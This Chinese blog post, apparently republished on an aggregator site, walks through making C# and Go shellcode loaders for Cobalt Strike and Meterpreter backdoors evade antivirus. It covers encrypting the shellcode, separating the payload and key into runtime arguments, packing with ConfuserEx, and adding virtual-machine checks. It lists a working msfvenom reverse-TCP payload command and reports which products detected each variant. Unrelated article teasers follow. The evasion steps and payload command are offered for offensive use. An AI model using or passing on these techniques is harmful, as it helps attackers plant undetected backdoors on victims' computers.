免杀对抗—GOC#反VT沙盒资源分离混淆加密

news2024/12/29 9:35:20

前言 

今天的主要内容是反VT沙盒,我们都知道生成的后门会被杀软上穿到沙盒中去运行,去逆向。如此一来我们的后门就很容易被查杀掉,但如果我们对后门进行一些操作,让它在被逆向的时候,反编译出一堆乱码,或者无法反编译,这不就大大提高我们免杀的概率。

实验环境

360,WD,火绒,VT。

C#

原生态

我们先试一下C#原生态上线CS,生成payload。

在VS中新建一个C#的控制台,网上找个C#的加载器替换我们生成的shellcode即可。

生成exe运行上线,不用说原生态包被杀掉的。

混淆加密

用我们前面的混淆思路,试试对shellcode进行加密是否能免杀,无论什么语言思路都是通用的,只要你能用这个语言写出混淆脚本就行。因为脚本比较长就不给大家放了,公开的自己找就行。

这是个加密脚本,把我们的shellcode替换上去,加密key可以改不改也行,然后运行生成加密后的shellcode。

把加密后的shellcode放到解密的脚本里面,先解密再执行,和我们之前说的一样。注意,这里解密的key要和加密的一致,要是你加密的key修改过,解密的也要修改才行。

生成exe然后去检验一下成果,火绒没过。

WD没过,2年前还可以过的。

360没过,说明免杀效果不太好。

至于其它的加密脚本比如base64,XOR啥的自己测试就行了,这里就不多说了。

反沙盒VT

上面我们说过,杀软会把你的文件上传到沙盒或者虚拟机去运行,然后观察行为来确实是否有威胁。那么无非就两种情况,一个是反编译你的文件,逆向出源码。另一个就是运行文件,然后观察行为是否有威胁,这也是常说的动态查杀。C#生成的exe是输入.net可执行文件,我们可以用专门逆向.net的工具来分析试试,这里用到的工具是dnspy。

可以看到刚刚我们混淆生成的consoleApp3.exe这个后门被完全逆向出来了,源码一清二楚。连我这种只会点逆向皮毛的都知道这是后门,更别说杀软了。

我们可以对生成的exe进行加壳,来达到反编译的目的。加壳的工具有很多,可以网上找开源的,也可以花钱去买商业,商业的效果是要比开源的好很多的。

我这里用的是ConfuserEx这个工具,我们先试试效果,直接把要加壳的exe给拖进来。

点击setting,选择我们刚刚拖进来的exe,规则我们选择Maximun,也就是加壳强度最高的。

然后点击protect生成。

会在当前目录下生成一个confused目录,里面就是我们加壳后的exe。

我们再来反编译一下看一下,可以看到旁边多了好多东西,是一开始没有的。我这里截图截取不全,可以自己试试,然后对比一下就OK了。

试试成果,火绒静态查杀能过,但是运行起来就被杀掉了。

WD没问题。

360查杀到。

上面这个就是开源的加壳工具,效果一般般吧。virbox protector这个是要钱的加壳工具,我也没钱买,就申请了一个试用的账号。

同样打开后把exe拖进去,加密选项这里能打勾的都勾上。

不知道为啥一直显示未授权,但是我都申请了试用账号了,既然如此我就不测试这个,有需要的自己试一下就OK。

Golang

原生态

go语言也是近几年免杀比较火的语言,同理先试试原生态。由于没有Go语言的shellcode,我们就生成C的吧,用go来加载C的shellcode。

要注意的是这里接受的是比特流的shellcode,所以要把生成的shellcode中的斜杠替换为0,然后再逗号分割,记得shellcode结尾加逗号表示结束。

cmd输入命令运行即可上线,我这里一运行就被杀了。

go run .\1.go     //直接运行
go build 1.go     //打包成exe运行
go build -ldflags="-H windowsgui -w -s" 1.go  //没有弹窗的exe命令编译

分离+AES加密

还是那句话,思路是所有语言都通用的,只要你写的出来。我们现在试试前面的思路,并且结合起来用,AES加密没啥好说的,就是用Go语言去写一个加解密脚本就行,不会就网上找一个,公开的算法都是有的。这里的分离和之前讲的稍微有点不同,之前是把shellcode分离出去,然后t通过http请求获取。现在是把shellcode和解密的密钥分离出去,以参数的形式获取。

从加密脚本可以看出,confFile的值是由os.Args[1]这个参数传递的,后续也是对confFile进行处理。

可以看到我们运行了3.go这个加密脚本,要加密的shellcode是以参数的形式获取的。

生成了解密的key,和加密后的shellcode。

解密的源码也可以看到,变量key1是由os.Args[1]这个参数传递的,变量payload1是由os.Args[2]这个参数传递的。

运行解密脚本,传递参数。

这边一运行起来火绒就杀掉了。

WD能过,运行起来再查杀还是一样能过,WD查杀powershell比较猛,其它的一般般。

360一样杀了。

这个公开的脚本已经被提取特征了,想要免杀的话有点难。可以试试自己写的脚本或者是内部资源的那种,MFS生成一个16进制的shellcode。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=2222 -f hex

直接对传入的16进制shellcode执行,没有经过加解密。

和上面一样运行的时候再把shellcode作为参数传入,火绒没有告警,成功上线MSF。

编译成exe去检测,火绒免杀成功。

360还是可以查杀到。

WD居然检测到了。

这个脚本是很普通的一个脚本,没有对shellcode做任何处理,但是还是可以过火绒。因为这不是公开的脚本,特征没有被提取到,其实很多公开的脚本并不是说思路或者加密不好,只是使用的人多了,特征已经被杀软提取了,这时候你还想用它免杀是很难的。

上面讲的的分离是把shellcode当做参数去传递,其实还有一种分离是资源分离,就是把生成的payload文件当做资源去读取,类似之前的http获取payload文件,由于网上找到脚本有点问题,自己又不会go,只能放弃介绍了。

反沙盒VT

我们试试对用go生成的exe加壳,看看免杀效果咋样。

直接把exe拖进去,勾选检查虚拟机。

然后生成,我们到虚拟机看看是否能运行起来,可以看到运行之后会弹出提示。

但遗憾的是加壳之后依旧会被杀,这开源的加壳工具没办了。

总结

今天主要讲了两个语言,Go和C#。免杀思路和之前讲的python和C差不多,主要是多了个反沙盒VT的内容,主要是给它加个壳,但开源的工具难免会被杀的。还有一些工具不支持对某些语言编译成的exe去加壳,这时候就得自己写个壳了。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2200419.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

(接口测试)接口测试理论 http理论 接口测试流程 接口文档解析

一.接口测试理论 1.接口和接口测试 服务器为客户端开了一个验证接口(接口本质:函数方法)客户端向服务器传送的消息可以相当于函数的参数,接口是用来让客户端传递数据的 接口:相当于开了一个通道 当服务器要给客户端响…

用setnx实现一个分布式锁

用setnx实现一个分布式锁 简介 利用Redis的单线程特性,在多个Redis客户端同时通过SETNX命令尝试获取锁,如果返回1表示获取锁成功,否则表示获取锁失败。 Redis Setnx(SET if Not eXists) 命令在指定的 key 不存在时&…

基于SSM的车库智能管理平台设计与实现【附源码】

基于SSM的车库智能管理平台设计与实现(源码L文说明文档) 目录 4 系统设计 4.1 系统概要设计 4.2 系统功能结构设计 4.3 数据库设计 4.3.1 数据库E-R图设计 4.3.2 数据库表结构设计 5 系统实现 5.1用户信息管理 5.2 车…

腾讯云SDK地址生成器

音视频终端 SDK(腾讯云视立方)将新版连麦管理方案的多个功能集成至 腾讯云视立方控制台 > 连麦管理,便于用户快捷使用,具体分为快速上手、连麦应用、用量统计和地址生成器四个功能页面。更多连麦功能说明,请参见 新…

YOLO11 实例分割模型做行人分割

实例分割是检测和隔离图像中单个对象的关键技术,YOLO11 是执行这项任务的最佳模型之一。在本文中,你将学习如何使用 YOLO11 分割模型有效地在图像中分割人物。我们将涵盖从设置 Python 环境和安装必要的库,到下载测试图像和可视化分割结果的所有内容。通过本教程的学习,你将…

pandas的用法

1.简介: pandas是一个开源的python数据分析库提供了快速,灵活和表达力强的数据结构,使数据清洗和分析工作变得更加简单易行。pandas的核心数据结构是DataFrame和Series 2.DataFrame的基本操作: DataFrame是pandas库中的一个二维…

WebAPI的初步认识

这里局限于Asp.net core Web API。 简单一句话,就是webApi支持我们专注于数据,返回值可以直接返回对象。且支持RestFul风格的编程。RestFul编程就是 资源(Resource):将所有的数据和功能都视为资源,每个资源…

Passolo使用教程

作用:汉化软件 Passolo下载地址:https://www.xitongzhijia.net/soft/236115.html 使用步骤 1:新建 2:添加来源 -> 找到需要汉化的exe文件 3:目标语言 -> 添加语言 -> 简体中文 4:名称 -> 自定…

【数据结构】栈和队列 + 经典算法题

目录 前言 一、栈 二、栈的实现 三、栈的循环遍历演示 四、栈的算法题 // 一、队列 二、队列的实现 三、使用演示 四、队列的算法题 总结 前言 本文完整实现了栈和队列的数据结构,以及栈和队列的一些经典算法题,让我们更加清楚了解这两种数据…

W外链平台有什么优势?

W外链作为一种短网址服务,具备多项功能和技术优势,适用于多种场景,以下是其主要特点和优势: 短域名与高级设置:W外链提供了非常短的域名,这有助于提高用户体验,使其在社交媒体分享时更加便捷。…

GNURadio 平台实现拦阻干扰

信号流图如下: 先用带通滤波器截取一段噪声信号源的频谱,流图中为100khz-500khz,带宽为400kHz,再进行调制搬移到期望的信号频率上,流图中为2MHz上。 仿真结果信号频谱图如下所示: 假设被干扰的目标信号为A…

Java基础入门:从人机交互到Java核心概述

掌握CMD与Java开发环境:从基础到实战的全面指南 在当今数字化时代,计算机操作和编程技能已成为不可或缺的基础能力。无论你是刚刚迈入编程世界的新手,还是希望提升自己技术水平的开发者,了解如何高效使用命令行工具(如…

接着上一篇stp 实验继续

理论看上一篇,我们直接实验 首先找出root 桥 很明显 sw1 为root 桥,所谓sw1  &a…

IDEA上Mybatis介绍和使用

MyBatis是一款优秀的持久层框架,用于简化JDBC的开发。 创建项目 在springboot项目中添加Mybatis和MySQL依赖项。 找到数据库选项,点击新建 -> 数据库源,选择MySQL。 输入完成信息后,可以先进行测试,可以成功连接再…

影刀RPA在智能客服上的运用

随着人工智能技术的不断发展,智能客服系统逐渐成为企业提升服务效率和质量的重要工具。影刀RPA(Robotic Process Automation,机器人流程自动化)作为一种模拟人类用户行为的技术,通过自动化执行重复性高、规则明确的任务…

2024年MathorCup国家级大数据竞赛,必须要知道的竞赛重点!

2024年MathorCup大数据竞赛正在报名中,在越来越多同学报名参赛的同时,也有非常多的同学来咨询比赛相关问题。 01 比赛的级别是什么? 比赛主办方是中国优选法统筹法与经济数学研究会(国家一级学会),因此一…

架构设计笔记-7-系统架构设计基础知识

目录 知识要点 单选 案例分析 1.质量属性 / 管道过滤器 / 数据仓库风格 2.面向对象风格 / 控制环路风格 3.软件架构风格 / 架构风格选择 4.体系结构方案对比 5.面向对象风格 / 基于规则风格 6.解释器风格 / 管道过滤器风格 7.面向对象风格 / 解释器风格 8.软件架构复…

【HarmonyOS】HMRouter使用详解(一)环境配置

背景 在项目中使用官方推荐的Navigation时,需要在所有的页面上都添加一层NavDestination,在代码阅读上会增加多个层级,而且还要在主页面设置对应名字的跳转等问题,配置起来比较繁琐。看到大佬开发的HMRouter使用起来方便简洁&…

sim-lock需求分析总结

1、sim-lock是什么? sim-lock也叫subsidy lock 补贴锁, carrier lock, lock,是带合约的机器,运营商限制你使用其他运营商的sim卡,对于长期客户,出国时可以给运营商打电话要一个临时的unlock code。对于Android Teleeph…

24.数据结构和算法-哈夫曼树及其应用(最优二叉树)

哈夫曼树的基本概念 哈夫曼树的构造算法 哈夫曼树构造算法的实现 理论分析 具体实现 哈夫曼编码 哈夫曼编码的性质 例题 哈夫曼编码的算法实现 哈夫曼编码的应用 文件的编码和解码